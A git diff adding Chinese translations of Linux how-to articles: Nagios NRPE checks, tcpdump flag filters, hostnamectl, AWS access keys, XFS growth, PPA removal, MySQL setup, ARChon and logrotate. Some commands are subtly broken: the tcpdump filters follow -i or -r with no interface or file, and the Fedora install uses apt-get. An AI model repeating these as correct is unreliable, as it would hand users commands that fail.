配置自定义命令 ### + +#### 远程服务器上安装 #### + +下面列出了一些可以用于 NRPE 的自定义命令。这些命令在远程服务器的 /etc/nagios/nrpe.cfg 文件中定义。 + + ## 当 1、5、15 分钟的平均负载分别超过 1、2、1 时进入警告状态 + ## 当 1、5、15 分钟的平均负载分别超过 3、5、3 时进入严重警告状态 + command[check_load]=/usr/lib/nagios/plugins/check_load -w 1,2,1 -c 3,5,3 + + ## 对于 /home 目录的可用空间设置了警告级别为 25%,以及严重警告级别为 10%。 + ## 可以定制为监控任何分区(比如 /dev/sdb1、/、/var、/home) + command[check_disk]=/usr/lib/nagios/plugins/check_disk -w 25% -c 10% -p /home + + ## 当 process_ABC 的实例数量超过 10 时警告,超过 20 时严重警告 ## + command[check_process_ABC]=/usr/lib/nagios/plugins/check_procs -w 1:10 -c 1:20 -C process_ABC + + ## 当 process_ABC 的实例数量跌到 1 以下时严重警告 ## + command[check_process_XYZ]=/usr/lib/nagios/plugins/check_procs -w 1: -c 1: -C process_XYZ + +#### Nagios 监控服务器上安装 #### + +我们通过如下命令来修改 Nagios 监控服务器里的服务定义来应用上面定义的自定义命令。服务定义可以写在所有服务被定义的地方(比如 /etc/nagios/objects/nrpe.cfg 或 /etc/nagios3/conf.d/nrpe.cfg) + + ## 示例 1:检查进程 XYZ ## + define service { + host_name server-1 + service_description Check Process XYZ + check_command check_nrpe!check_process_XYZ + check_interval 1 + use generic-service + } + + ## 示例 2:检查磁盘状态 ## + define service { + host_name server-1 + service_description Check Process XYZ + check_command check_nrpe!check_disk + check_interval 1 + use generic-service + } + +总而言之,NRPE 是 Nagios 的一个强大的扩展,它提供了高度可定制的远程服务器监控方案。使用 NRPE,我们可以监控系统的负载、运行的进程、已登录的用户、磁盘状态,以及其它参数。 + +希望这些可以帮到你。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/03/nagios-remote-plugin-executor-nrpe-linux.html + +作者:[Sarmed Rahman][a] +译者:[felixonmars](https://github.com/felixonmars) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:http://xmodulo.com/2012/08/how-to-measure-average-cpu-utilization.html +[2]:http://linux.cn/article-2436-1.html +[3]:http://xmodulo.com/2013/01/how-to-set-up-rpmforge-repoforge-repository-on-centos.html +[4]:http://xmodulo.com/2013/01/how-to-set-up-rpmforge-repoforge-repository-on-centos.html diff --git a/published/201410/20140915 Linux FAQs with Answers--How to capture TCP SYN, ACK and FIN packets with tcpdump.md b/published/201410/20140915 Linux FAQs with Answers--How to capture TCP SYN, ACK and FIN packets with tcpdump.md new file mode 100644 index 0000000000..8887a0a057 --- /dev/null +++ b/published/201410/20140915 Linux FAQs with Answers--How to capture TCP SYN, ACK and FIN packets with tcpdump.md @@ -0,0 +1,41 @@ +Linux有问必答:如何使用tcpdump来捕获TCP SYN,ACK和FIN包 +================================================================================ +> **问题**:我想要监控TCP连接活动(如,建立连接的三次握手,以及断开连接的四次握手)。要完成此事,我只需要捕获TCP控制包,如SYN,ACK或FIN标记相关的包。我怎样使用tcpdump来仅仅捕获TCP SYN,ACK和/或FYN包? + +作为业界标准的捕获工具,tcpdump提供了强大而又灵活的包过滤功能。作为tcpdump基础的libpcap包捕获引擎支持标准的包过滤规则,如基于5重包头的过滤(如基于源/目的IP地址/端口和IP协议类型)。 + +tcpdump/libpcap的包过滤规则也支持更多通用分组表达式,在这些表达式中,包中的任意字节范围都可以使用关系或二进制操作符进行检查。对于字节范围表达,你可以使用以下格式: + + proto [ expr : size ] + +“proto”可以是熟知的协议之一(如ip,arp,tcp,udp,icmp,ipv6),“expr”表示与指定的协议头开头相关的字节偏移量。有我们熟知的直接偏移量如tcpflags,也有取值常量如tcp-syn,tcp-ack或者tcp-fin。“size”是可选的,表示从字节偏移量开始检查的字节数量。 + +使用这种格式,你可以像下面这样过滤TCP SYN,ACK或FIN包。 + +只捕获TCP SYN包: + + # tcpdump -i "tcp[tcpflags] & (tcp-syn) != 0" + +只捕获TCP ACK包: + + # tcpdump -i "tcp[tcpflags] & (tcp-ack) != 0" + +只捕获TCP FIN包: + + # tcpdump -i "tcp[tcpflags] & (tcp-fin) != 0" + +之捕获TCP SYN或ACK包: + + # tcpdump -r "tcp[tcpflags] & (tcp-syn|tcp-ack) != 0" + +![](https://farm4.staticflickr.com/3923/15050566798_db14aea9a9_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/capture-tcp-syn-ack-fin-packets-tcpdump.html + + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/20140915 Linux FAQs with Answers--How to change hostname on CentOS or RHEL 7.md b/published/201410/20140915 Linux FAQs with Answers--How to change hostname on CentOS or RHEL 7.md new file mode 100644 index 0000000000..fd680ad8c6 --- /dev/null +++ b/published/201410/20140915 Linux FAQs with Answers--How to change hostname on CentOS or RHEL 7.md @@ -0,0 +1,42 @@ +Linux有问必答:如何在CentOS或RHEL 7上修改主机名 +================================================================================ +> 问题:在CentOS/RHEL 7上修改主机名的正确方法是什么(永久或临时)? + +在CentOS或RHEL中,有三种定义的主机名:a、静态的(static),b、瞬态的(transient),以及 c、灵活的(pretty)。“静态”主机名也称为内核主机名,是系统在启动时从/etc/hostname自动初始化的主机名。“瞬态”主机名是在系统运行时临时分配的主机名,例如,通过DHCP或mDNS服务器分配。静态主机名和瞬态主机名都遵从作为互联网域名同样的字符限制规则。而另一方面,“灵活”主机名则允许使用自由形式(包括特殊/空白字符)的主机名,以展示给终端用户(如Dan's Computer)。 + +在CentOS/RHEL 7中,有个叫hostnamectl的命令行工具,它允许你查看或修改与主机名相关的配置。 + +要查看主机名相关的设置: + + $ hostnamectl status + +![](https://farm4.staticflickr.com/3844/15113861225_e0e19783a7.jpg) + +只查看静态、瞬态或灵活主机名,分别使用“--static”,“--transient”或“--pretty”选项。 + + $ hostnamectl status [--static|--transient|--pretty] + +要同时修改所有三个主机名:静态、瞬态和灵活主机名: + + $ sudo hostnamectl set-hostname + +![](https://farm4.staticflickr.com/3855/15113489172_4e25ac87fa_z.jpg) + +就像上面展示的那样,在修改静态/瞬态主机名时,任何特殊字符或空白字符会被移除,而提供的参数中的任何大写字母会自动转化为小写。一旦修改了静态主机名,/etc/hostname 将被自动更新。然而,/etc/hosts 不会更新以保存所做的修改,所以你需要手动更新/etc/hosts。 + +如果你只想修改特定的主机名(静态,瞬态或灵活),你可以使用“--static”,“--transient”或“--pretty”选项。 + +例如,要永久修改主机名,你可以修改静态主机名: + + $ sudo hostnamectl --static set-hostname + +注意,你不必重启机器以激活永久主机名修改。上面的命令会立即修改内核主机名。注销并重新登入后在命令行提示来观察新的静态主机名。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/change-hostname-centos-rhel-7.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/20140915 Linux FAQs with Answers--How to create a new Amazon AWS access key.md b/published/201410/20140915 Linux FAQs with Answers--How to create a new Amazon AWS access key.md new file mode 100644 index 0000000000..f716678fb3 --- /dev/null +++ b/published/201410/20140915 Linux FAQs with Answers--How to create a new Amazon AWS access key.md @@ -0,0 +1,49 @@ +Linux有问必答:如何创建新的亚马逊AWS访问密钥 +================================================================================ +> **问题**:我在配置一个需要访问我的亚马逊AWS帐号的应用时被要求提供**AWS访问密钥ID**和**秘密访问密钥**,我怎样创建一个新的AWS访问密钥呢? + +亚马逊AWS安全凭证用于验证你以及授权任何第三方应用访问你的AWS帐号,有各种不同的AWS安全凭证可用,如密码、访问密钥、多因素身份验证、X.509证书等。 + +如果你想要创建新的访问密钥(访问密钥ID和秘密访问密钥),请按一下步骤进行。 + +首先,登录到[AWS控制台][1]。 + +从顶部栏选择“安全凭证”菜单(图中红色方框所示)。 + +![](https://farm4.staticflickr.com/3855/14987093969_b106406596_o.png) + +在下一页中,选择“访问密钥(访问密钥ID和秘密访问密钥)”选项(图中红色方框所示)。 + +![](https://farm6.staticflickr.com/5584/15173842295_6110021f8f_z.jpg) + +在下一页中,你将看到一个现存访问密钥ID列表(如果有的话)。注意,你不能恢复现存访问密钥ID的“秘密访问密钥”。出于安全的原因,秘密访问密钥只能在你创建新访问密钥时才可见。 + +![](https://farm4.staticflickr.com/3897/15150859306_cd25d519be_o.png) + +点击“创建新访问密钥”(见图示),将会立即创建一个新的访问密钥ID和密码访问密钥对。 + +![](https://farm4.staticflickr.com/3919/14987346068_232e8c73cd_z.jpg) + +要么下载一个包含有新访问密钥的密钥文件,要么复制并粘贴新访问密钥信息。再次提请牢记,一旦你关闭该窗口,秘密访问密钥将不再可用,除非你下载一个密钥文件。 + +### 多用户AWS帐号 ### +如果你是作为公司身份创建的帐号,多个雇员共享这一公司帐号,你可能想要使用身份和访问管理(IAM)来创建并管理他们的访问密钥。 + +IAM是一个web服务,它允许一个公司管理多个用户及其与一个AWS帐号关联的安全凭证。使用IAM,多个用户可以作为不同身份登入单一的AWS帐号,并管理他们的安全凭证而不会相互干预对方的密钥。 + +要管理IAM用户,点击“安全凭证”页面上的“用户”菜单(见图示)。 + +![](https://farm6.staticflickr.com/5589/14987486468_a9120b1f8e_z.jpg) + +然后,你就可以创建一个新的IAM用户并管理他们的安全凭证,比如访问密钥之类的东西。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/create-amazon-aws-access-key.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://aws.amazon.com/console/ diff --git a/published/201410/20140915 Linux FAQs with Answers--How to expand an XFS file system.md b/published/201410/20140915 Linux FAQs with Answers--How to expand an XFS file system.md new file mode 100644 index 0000000000..1606a79323 --- /dev/null +++ b/published/201410/20140915 Linux FAQs with Answers--How to expand an XFS file system.md @@ -0,0 +1,38 @@ +Linux有问必答:如何扩展XFS文件系统 +================================================================================ +> **问题**:我的磁盘上有额外的空间,所以我想要扩展其上创建的现存的XFS文件系统,以完全使用额外空间。怎样才是扩展XFS文件系统的正确途径? + +XFS是一个开源的(GPL)日志文件系统,最初由硅谷图形(SGI)开发,现在大多数的Linux发行版都支持。事实上,XFS已被最新的CentOS/RHEL 7采用,成为其默认的文件系统。在其众多的特性中,包含了“在线调整大小”这一特性,使得现存的XFS文件系统在已经挂载的情况下可以进行扩展。然而,对于XFS文件系统的**缩减**却还没有支持。 + +要扩展一个现存的XFS文件系统,你可以使用命令行工具xfs_growfs,这在大多数Linux发行版上都默认可用。由于XFS支持在线调整大小,目标文件系统可以挂在,也可以不挂载。 + +下面展示了**xfs_growfs**的基本用法: + +![](https://farm6.staticflickr.com/5551/14915082088_b4e29af3cf_z.jpg) + +作为目标XFS文件系统来扩展,你可以指定挂载点、磁盘分区或者逻辑卷(在使用LVM时),使用数据块数量来指定新的XFS文件系统的大小。你可以使用xfs_info命令行工具来检查数据块大小和数量: + +![](https://farm6.staticflickr.com/5584/14915075270_cd272d4468_z.jpg) + +要将XFS文件扩展到1986208: + + $ sudo xfs_growfs /dev/centos/root -D 1986208 + +如果你不使用“-D”选项来指定大小,xfs_growfs将会自动扩展XFS文件系统到最大的可用大小。 + + $ sudo xfs_growfs /dev/centos/root + +![](https://farm6.staticflickr.com/5569/14914950529_ddfb71c8dd_z.jpg) + +注意,当你扩展一个现存的XFS文件系统时,必须准备好事先添加用于XFS文件系统扩展的空间。这虽然是很显然的事,但是如果在所在的分区或磁盘卷上没有空闲空间可用的话,xfs_growfs就没有办法了。同时,如果你尝试扩展XFS文件系统大小到超过磁盘分区或卷的大小,xfs_growfs将会失败。 + +![](https://farm4.staticflickr.com/3870/15101281542_98a49a7c3a_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/expand-xfs-file-system.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201410/20140915 Linux FAQs with Answers--How to remove PPA repository from command line on Ubuntu.md b/published/201410/20140915 Linux FAQs with Answers--How to remove PPA repository from command line on Ubuntu.md new file mode 100644 index 0000000000..e7171b6c3d --- /dev/null +++ b/published/201410/20140915 Linux FAQs with Answers--How to remove PPA repository from command line on Ubuntu.md @@ -0,0 +1,38 @@ +Linux有问必答:Ubuntu如何使用命令行移除PPA仓库 +================================================================================ +> **问题**: 前段时间,我的Ubuntu增加了一个第三方的PPA仓库,如何才能移除这个PPA仓库呢? + +个人软件包档案(PPA)是Ubuntu独有的解决方案,允许独立开发者和贡献者构建、贡献任何定制的软件包来作为通过启动面板的第三方APT仓库。如果你是Ubuntu用户,有可能你已经增加一些流行的第三方PPA仓库到你的Ubuntu系统。如果你需要删除掉已经预先配置好的PPA仓库,下面将教你怎么做。 + +假如你想增加一个叫“ppa:webapps/preview”第三方PPA仓库到你的系统中,如下: + + $ sudo add-apt-repository ppa:webapps/preview + +如果你想要 **单独地删除某个PPA仓库**,运行下面的命令: + + $ sudo add-apt-repository --remove ppa:someppa/ppa + +注意,上述命令不会同时删除任何已经安装或更新的软件包。 + +如果你想要 **完整的删除一个PPA仓库并包括来自这个PPA安装或更新过的软件包**,你需要ppa-purge命令。 + +首先要安装ppa-purge软件包: + + $ sudo apt-get install ppa-purge + +然后使用如下命令删除PPA仓库和与之相关的软件包: + + $ sudo ppa-purge ppa:webapps/preview + +特别滴,在发行版更新后,当你[分辨和清除已损坏的PPA仓库][1]时这个方法特别有用! + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/how-to-remove-ppa-repository-from-command-line-on-ubuntu.html + +译者:[Vic___](http://www.vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ask.xmodulo.com/find-remove-obsolete-ppa-repositories-ubuntu.html diff --git a/published/201410/20140919 Linux FAQs with Answers--How to create a MySQL database from the command line.md b/published/201410/20140919 Linux FAQs with Answers--How to create a MySQL database from the command line.md new file mode 100644 index 0000000000..1db2425acc --- /dev/null +++ b/published/201410/20140919 Linux FAQs with Answers--How to create a MySQL database from the command line.md @@ -0,0 +1,116 @@ +Linux有问必答:如何在命令行创建一个MySQL数据库 +=== + +> **问题**:在一个某处运行的MySQL服务器上,我该怎样通过命令行创建和安装一个MySQL数据库呢? + + +为了能通过命令行创建一个MySQL数据库,你可以使用mysql命令行客户端。下面是通过mysql命令行客户端创建和安装MySQL的步骤。 + +### 第一步:安装MySQL客户端 ### + +当然你得确保MySQL客户端已经安装完毕。如果没有的话,可以按照下面的方法。 + +在Debian,Ubuntu 或者 Linux Mint上: + + $ sudo apt-get install mysql-client + +在Fedora,CentOS 或者 RHEL上: + + $ sudo apt-get install mysql + +### 第二步:登陆到MySQL服务器 ### + +首先,你需要使用root用户登陆进你的MySQL数据库,如下: + + $ mysql -u root -h -p + +请注意:为了能登进远程的MySQL服务器,你需要[开启服务器上的远程访问][1],如果你想调用同一主机上的MySQL服务器,你可以省略 "-h " 参数 + + $ mysql -u root -p + +你将需要输入MySQL服务器的密码,如果认证成功,MySQL提示将会出现。 + +![](https://www.flickr.com/photos/xmodulo/15272971112/) + +### 第三步:创建一个MySQL数据库 ### + +在MySQL提示中输入命令之前,请记住所有的命令都是以分号结束的(否则将不会执行)。另外,考虑输入命令的时候使用大些字母,输入数据库对象使用小写字母。但那不是必须的,只是方便你的阅读。 + +现在,让我们创建一个叫做xmodulo_DB的数据库: + + mysql> CREATE DATABASE IF NOT EXISTS xmodulo_DB; + +![](https://farm4.staticflickr.com/3864/15086792487_8e2eaedbcd.jpg) + +### 第四步:创建一个数据库表 ### + +为了达到演示的目的,我们将会创建一个叫做posts_tbl的表,表里会存储关于文章的如下信息: + +- 文章的标题 +- 作者的名字 +- 作者的姓 +- 文章可用或者不可用 +- 文章创建的日期 + +这个过程分两步执行: + +首先,选择我们需要使用的数据库: + + mysql> USE xmodulo_DB; + +然后,在数据库中创建新表: + + mysql> CREATE TABLE 'posts_tbl' ( + 'post_id' INT UNSIGNED NOT NULL AUTO_INCREMENT, + 'content' TEXT, + 'author_FirstName' VARCHAR(100) NOT NULL, + 'author_LastName' VARCHAR(50) DEFAULT NULL , + 'isEnabled' TINYINT(1) NOT NULL DEFAULT 1, + 'date' TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP , + PRIMARY KEY ( 'post_id' ) + ) TYPE = MYISAM; + +![](https://farm4.staticflickr.com/3870/15086654980_39d2d54d72.jpg) + +### 第五步:创建一个用户,并授予权限 ### + +当涉及到访问我们新创的数据库和表的时候,创建一个新用户是一个很好的主意。这样做就可以让用户在没有整个MySQL服务器权限的情况下,去访问那个数据库(而且只能是那个数据库) + +你可以创建新用户,授予权限,并且使改变生效: + + mysql> GRANT ALL PRIVILEGES ON xmodulo_DB.* TO 'new_user'@'%' IDENTIFIED BY 'new_password'; + mysql> FLUSH PRIVILEGES; + +'new_user'和'new_password'分别指的是新的用户名和他的密码。这条信息将会被保存在mysql.user表中,而且密码会被加密。 + +### 第六步:测试 ### + +让我们插入一个虚拟的记录到posts_tbl表: + + mysql> USE xmodulo_DB; + mysql> INSERT INTO posts_tbl (content, author_FirstName, author_Las tName) + VALUES ('Hi! This is some dummy text.', 'Gabriel', 'Canepa'); + +然后查看posts_tbl表中的所有记录: + + mysql> SELECT * FROM posts_tbl; + +![](https://farm4.staticflickr.com/3896/15086792527_39a987d8bd_z.jpg) + +注意:MySQL会在我们先前定义的地方自动插入适当的默认值(比如,'isEnabled'和'date')。 + +--- + +via: http://ask.xmodulo.com/create-mysql-database-command-line.html + +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linu +x中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2012/06/how-to-allow-remote-access-to-mysql.html + + + + diff --git a/published/201410/20140922 How to Run Android Apps on Ubuntu using ARChon.md b/published/201410/20140922 How to Run Android Apps on Ubuntu using ARChon.md new file mode 100644 index 0000000000..11dbadf22f --- /dev/null +++ b/published/201410/20140922 How to Run Android Apps on Ubuntu using ARChon.md @@ -0,0 +1,100 @@ +安卓应用乾坤大挪移,Ubuntu上的搬运工:ARChon +================================================================================ +![Android, Chrome, Ubuntu](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/android-ubuntu.jpg) + + +**Google最近发布了首批[能在Chrome OS本地运行的安卓应用集][1],通过‘安卓运行时’扩展完成了该壮举。** + +现在,一位开发者已经[指明了将安卓应用带入桌面版Chrome的路][2]。 + +[弗拉德·菲利波夫][3]的[chromeos-apk脚本][4]和[ARChon安卓运行时扩展][5]手拉手一起开展工作,将安卓应用带进了Windows,Mac和Linux桌面上的Chrome中。 + +![IMDB, Flipboard and Twitter Android Apps running on Ubuntu 14.04 LTS](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/android-apps-on-linux.jpg) + +*运行在Ubuntu 14.04 LTS上的安卓应用:IMDB,Flipboard和Twitter* + +通过‘安卓运行时’运行的应用的性能不是很令人惊异,任何想要运行Dead Trigger 2或者其它图形密集型游戏的雄心壮志可以放到一边了。 + +同样地,要运行官方的‘安卓运行时’的非官方重构包,或者在Chrome OS之外运行的话,其系统完整性(如网络摄像头,扬声器等)可能不完整或者根本不可能。 + +按照下面的指南一步步来,并不保证一定成功。它只能作为高度实验性进行,里面遍布漏洞,很不稳定——甚至白日见鬼。只能出于好奇而尝试,不要高度寄予厚望,这样你就不会深受其困扰。 + +### 安卓应用转战Linux大法 ### + +要通过Chrome在Linux上运行安卓应用,很明显,你需要安装Chrome,要求的版本是37,或者更高。坦率地讲,如果你打算玩玩不稳定的Chrome版本,那么你也可以下载并[为Linux安装][6]。 + +如果已经安装了Chrome的某个版本?你可以通过命令行来安装不稳定版,命令如下: + + sudo apt-get install google-chrome-unstable + +有了 Chrome 之后,你需要下载定制版的‘安卓运行时’扩展,而不是Google或Chronium提供的版本——由弗拉德·菲利波夫创建的‘安卓运行时’。这个版本和官方的有着诸多的不同,最突出的不同就是它可以运行在桌面版的浏览器上。 + +- [从BitBucket下载ARChon v1.0][7] + +下载好‘安卓运行时’扩展后,你需要从.zip解压内容,并移动解压后的文件夹到你的Home文件夹。 + +要安装它,打开Google Chrome,点击汉堡式菜单按钮,然后导航到扩展页。检查‘启用开发者模式’并点击‘加载解包的扩展’按钮。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/chromeos-apk-extensions.jpg) + +‘安卓运行时’扩展本身不会做太多事情,所以你需要从安卓应用创建兼容包。要完成这项工作,你需要‘[chromeos-apk][8]’[命令行Javascript工具][9],它可以从“Node 封装模块管理器(npm )”安装。 + +首先运行: + + sudo apt-get install npm nodejs nodejs-legacy + +Ubuntu 64位用户?你还需要获取以下库: + + sudo apt-get install lib32stdc++6 + +现在,运行npm命令来安装该脚本吧: + + npm install -g chromeos-apk + +根据你的配置,你可能需要过会儿使用sudo来运行。如果你不喜欢[通过sudo安装npm模块,你可以][10]试着骗过它。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/chromeos-apk-npm.jpg) + +现在,搞定了。去Google找找你想要试试的应用的APK吧,请牢记**不是所有的安卓应用都会工作**,而**那些可以工作的也未必工作得很好**,或者缺少功能。 + +把你想要的安卓APK放到~/Home,然后回到终端中使用以下命令来转换,你可以将APK命名成任何你想要的名字: + + chromeos-apk replaceme.apk --archon + +该命令将花一点时间来完成这项工作,也许也就是一眨眼的时间。[实际上,不需要眨眼的时间][11] + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/chromeos-apk-archon-750x184.jpg) + +现在,在你的Home文件夹内有个ARChon生成的Chrome APK extension-y folder-y这样的东西。所有剩下来要做的事,就是安装并查看它是否正常工作! + +回到chrome://extensions页面,再次轻敲‘加载解封装扩展’按钮,但这次选择上面脚本创建出来的文件夹。 + +应用应该会正确安装,但是它确实会没有问题吗?打开Chrome应用启动器或应用页面并启动它来看看是否有问题。 + +#### 深度探索 #### + +由于ARChon运行时支持不限数量的chrome化的APK,你可以反复进行该操作,你想做多少次都行。Chrome APK [subreddit][12]用于跟踪成功/失败情况,所以如果你感到很有用,一定要贴出你的结果。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/09/install-android-apps-ubuntu-archon + +作者:[Joey-Elijah Sneddon][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgchrome.com/first-4-chrome-android-apps-released/ +[2]:http://www.omgchrome.com/run-android-apps-on-windows-mac-linux-archon/ +[3]:https://github.com/vladikoff/ +[4]:https://github.com/vladikoff/chromeos-apk +[5]:https://github.com/vladikoff/chromeos-apk/blob/master/archon.md +[6]:http://www.chromium.org/getting-involved/dev-channel +[7]:https://bitbucket.org/vladikoff/archon/get/v1.0.zip +[8]:https://github.com/vladikoff/chromeos-apk/blob/master/README.md +[9]:https://github.com/vladikoff/chromeos-apk/blob/master/README.md +[10]:http://stackoverflow.com/questions/19352976/npm-modules-wont-install-globally-without-sudo/21712034#21712034 +[11]:https://www.youtube.com/watch?v=jKXLkWrBo7o +[12]:http://www.reddit.com/r/chromeapks diff --git a/published/201410/20140922 How to use logrotate to manage log files in Linux.md b/published/201410/20140922 How to use logrotate to manage log files in Linux.md new file mode 100644 index 0000000000..abe0d52984 --- /dev/null +++ b/published/201410/20140922 How to use logrotate to manage log files in Linux.md @@ -0,0 +1,199 @@ +Linux日志文件总管——logrotate +================================================================================ +日志文件包含了关于系统中发生的事件的有用信息,在排障过程中或者系统性能分析时经常被用到。对于忙碌的服务器,日志文件大小会增长极快,服务器会很快消耗磁盘空间,这成了个问题。除此之外,处理一个单个的庞大日志文件也常常是件十分棘手的事。 + +logrotate是个十分有用的工具,它可以自动对日志进行截断(或轮循)、压缩以及删除旧的日志文件。例如,你可以设置logrotate,让/var/log/foo日志文件每30天轮循,并删除超过6个月的日志。配置完后,logrotate的运作完全自动化,不必进行任何进一步的人为干预。另外,旧日志也可以通过电子邮件发送,不过该选项超出了本教程的讨论范围。 + +主流Linux发行版上都默认安装有logrotate包,如果出于某种原因,logrotate没有出现在里头,你可以使用apt-get或yum命令来安装。 + +在Debian或Ubuntu上: + + # apt-get install logrotate cron + +在Fedora,CentOS或RHEL上: + + # yum install logrotate crontabs + +logrotate的配置文件是/etc/logrotate.conf,通常不需要对它进行修改。日志文件的轮循设置在独立的配置文件中,它(们)放在/etc/logrotate.d/目录下。 + +### 样例一 ### + +在第一个样例中,我们将创建一个10MB的日志文件/var/log/log-file。我们将展示怎样使用logrotate来管理该日志文件。 + +我们从创建一个日志文件开始吧,然后在其中填入一个10MB的随机比特流数据。 + + # touch /var/log/log-file + # head -c 10M < /dev/urandom > /var/log/log-file + +由于现在日志文件已经准备好,我们将配置logrotate来轮循该日志文件。让我们为该文件创建一个配置文件。 + + # vim /etc/logrotate.d/log-file + +---------- + + /var/log/log-file { + monthly + rotate 5 + compress + delaycompress + missingok + notifempty + create 644 root root + postrotate + /usr/bin/killall -HUP rsyslogd + endscript + } + +这里: + +- **monthly**: 日志文件将按月轮循。其它可用值为‘daily’,‘weekly’或者‘yearly’。 +- **rotate 5**: 一次将存储5个归档日志。对于第六个归档,时间最久的归档将被删除。 +- **compress**: 在轮循任务完成后,已轮循的归档将使用gzip进行压缩。 +- **delaycompress**: 总是与compress选项一起用,delaycompress选项指示logrotate不要将最近的归档压缩,压缩将在下一次轮循周期进行。这在你或任何软件仍然需要读取最新归档时很有用。 +- **missingok**: 在日志轮循期间,任何错误将被忽略,例如“文件无法找到”之类的错误。 +- **notifempty**: 如果日志文件为空,轮循不会进行。 +- **create 644 root root**: 以指定的权限创建全新的日志文件,同时logrotate也会重命名原始日志文件。 +- **postrotate/endscript**: 在所有其它指令完成后,postrotate和endscript里面指定的命令将被执行。在这种情况下,rsyslogd 进程将立即再次读取其配置并继续运行。 + +上面的模板是通用的,而配置参数则根据你的需求进行调整,不是所有的参数都是必要的。 + +### 样例二 ### + +在本例中,我们只想要轮循一个日志文件,然而日志文件大小可以增长到50MB。 + + # vim /etc/logrotate.d/log-file + +---------- + + /var/log/log-file { + size=50M + rotate 5 + create 644 root root + postrotate + /usr/bin/killall -HUP rsyslogd + endscript + } + +### 样例三 ### + +我们想要让旧日志文件以创建日期命名,这可以通过添加dateext常熟实现。 + + # vim /etc/logrotate.d/log-file + +---------- + + /var/log/log-file { + monthly + rotate 5 + dateext + create 644 root root + postrotate + /usr/bin/killall -HUP rsyslogd + endscript + } + +这将让归档文件在它们的文件名中包含日期信息。 + +### 排障 ### + +这里提供了一些logrotate设置的排障提示。 + +#### 1. 手动运行logrotate #### + +**logrotate**可以在任何时候从命令行手动调用。 + +要调用为/etc/lograte.d/下配置的所有日志调用**logrotate**: + + # logrotate /etc/logrotate.conf + +要为某个特定的配置调用logrotate: + + # logrotate /etc/logrotate.d/log-file + +#### 2. 演练 #### + +排障过程中的最佳选择是使用‘-d’选项以预演方式运行logrotate。要进行验证,不用实际轮循任何日志文件,可以模拟演练日志轮循并显示其输出。 + + # logrotate -d /etc/logrotate.d/log-file + +![](https://farm6.staticflickr.com/5561/15096836737_33d3cd1ccb_z.jpg) + +正如我们从上面的输出结果可以看到的,logrotate判断该轮循是不必要的。如果文件的时间小于一天,这就会发生了。 + +#### 3. 强制轮循 #### + +即使轮循条件没有满足,我们也可以通过使用‘-f’选项来强制logrotate轮循日志文件,‘-v’参数提供了详细的输出。 + + # logrotate -vf /etc/logrotate.d/log-file + +---------- + + reading config file /etc/logrotate.d/log-file + reading config info for /var/log/log-file + + Handling 1 logs + + rotating pattern: /var/log/log-file forced from command line (5 rotations) + empty log files are rotated, old logs are removed + considering log /var/log/log-file + log needs rotating + rotating log /var/log/log-file, log->rotateCount is 5 + dateext suffix '-20140916' + glob pattern '-[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]' + renaming /var/log/log-file.5.gz to /var/log/log-file.6.gz (rotatecount 5, logstart 1, i 5), + old log /var/log/log-file.5.gz does not exist + renaming /var/log/log-file.4.gz to /var/log/log-file.5.gz (rotatecount 5, logstart 1, i 4), + old log /var/log/log-file.4.gz does not exist + . . . + renaming /var/log/log-file.0.gz to /var/log/log-file.1.gz (rotatecount 5, logstart 1, i 0), + old log /var/log/log-file.0.gz does not exist + log /var/log/log-file.6.gz doesn't exist -- won't try to dispose of it + renaming /var/log/log-file to /var/log/log-file.1 + creating new /var/log/log-file mode = 0644 uid = 0 gid = 0 + running postrotate script + compressing log with: /bin/gzip + +#### 4. Logrotate的记录日志 #### + +logrotate自身的日志通常存放于/var/lib/logrotate/status目录。如果处于排障目的,我们想要logrotate记录到任何指定的文件,我们可以指定像下面这样从命令行指定。 + + # logrotate -vf –s /var/log/logrotate-status /etc/logrotate.d/log-file + +#### 5. Logrotate定时任务 #### + 